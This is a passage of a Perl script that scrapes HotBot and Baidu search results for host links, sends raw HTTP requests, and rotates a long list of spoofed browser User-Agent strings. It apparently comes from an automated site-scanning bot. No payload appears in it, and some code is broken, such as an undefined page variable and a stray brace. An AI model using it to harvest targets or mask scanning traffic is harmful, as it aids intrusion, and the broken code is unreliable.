my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub hotbot(){
my $key=$_[0];
my @lst;
my $pg=0;
for($pg=1; $pg<100;$pg++) {
my $Lib=("http://search.hotbot.co.uk/cgi-bin/pursuit?pag=".$pg."&query=".key($key)."&cat=hb_loc&enc=utf-8&SITE=uk");
my $Res=query($Lib);
while($Res =~ m/<span class=\"green\">(.+?)<\/span>/g ){
my $k="$1/";
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub baidu(){
my $key=$_[0];
my @lst;
for($b=0;$b<=1000;$b+=10){
my $baidu=("http://www.baidu.com/s?lm=0&si=&rn=10&ie=gb2312&ct=0&wd=".key($key)."&pn=".$start."&ver=0&cl=3");
my $Res=query($baidu);
while ($Res=~ m/href=\"http:\/\/(.*?)\"/ig){
my $k="$1/";
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}


sub stampa()
{
if ($#_ == '1') {
my $sk = $_[0];
print $sk "$_[1]\n";
} else {
print $sk "$_[0]\n";
}}



sub links()
{
my @l;
my $link=$_[0];
my $host=$_[0];
my $hdir=$_[0];
$hdir=~s/(.*)\/[^\/]*$/\1/;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$host.="/";
$link.="/";
$hdir.="/";
$host=~s/\/\//\//g;
$hdir=~s/\/\//\//g;
$link=~s/\/\//\//g;
push(@l,$link,$host,$hdir);
return @l;
}

sub geths(){
my $host=$_[0];
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
return $host;
}

sub key(){
my $chiave=$_[0];
$chiave =~ s/ /\+/g;
$chiave =~ s/:/\%3A/g;
$chiave =~ s/\//\%2F/g;
$chiave =~ s/&/\%26/g;
$chiave =~ s/\"/\%22/g;
$chiave =~ s/,/\%2C/g;
$chiave =~ s/\\/\%5C/g;
return $chiave;
}

sub query($){
my $url=$_[0];
$url=~s/http:\/\///;
my $host=$url;
my $query=$url;
my $page="";
$host=~s/href=\"?http:\/\///;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query=~s/$host//;
if ($query eq "") {$query="/";};
eval {
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
close($sock);
};
return $page;
}

sub unici{
my @unici = ();
my %visti = ();
foreach my $elemento ( @_ )
{
next if $visti{ $elemento }++;
push @unici, $elemento;
}
return @unici;
}

sub http_query($){
my ($url) = @_;
my $host=$url;
my $query=$url;
my $page="";
$host =~ s/href=\"?http:\/\///;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query =~s/$host//;
if ($query eq "") {$query="/";};
eval {
local $SIG{ALRM} = sub { die "1";};
alarm 10;
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
alarm 0;
close($sock);
};
return $page;
}
}

sub Agent(){
	my @ret = (
	"Microsoft Internet Explorer/4.0b1 (Windows 95)",
	"Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)",
	"Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)",
	"Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)",
	"Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)",
	"Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)",
	"Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)",
	"Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
	"Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)",
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)",
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)",
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)",
	"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
	"Mozilla/4.0 (compatible; MSIE 7.0b; Win32)",
	"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
	"Microsoft Pocket Internet Explorer/0.6",
	"Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)",
	"MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;",
	"Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)",
	"Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)",
	"Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)",
	"Advanced Browser (http://www.avantbrowser.com)",
	"Avant Browser (http://www.avantbrowser.com)",
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)",
	"Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)",
	"Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)",
	"Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007",
	"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
	"Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929",
	"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0",
	"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox",
	"Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4",
	"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5",
	"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6",
	"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6",
	"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7",
	"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7",
	"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4",
	"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4",
	"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5",
	"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1",
	"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1",
	"Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1",
	"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
	"Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1",
	"Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/20060710 Firefox/2.0b2",
	"Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0",
	"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b",
	"Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0",
	"Mozilla/3.0 (OS/2; U)",
	"Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)",
	"Mozilla/4.61 (Macintosh; I; PPC)",
	"Mozilla/4.61 [en] (OS/2; U)",
	"Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)",
	"Mozilla/4.8 [en] (Windows NT 5.0; U)" );
return(@ret);
}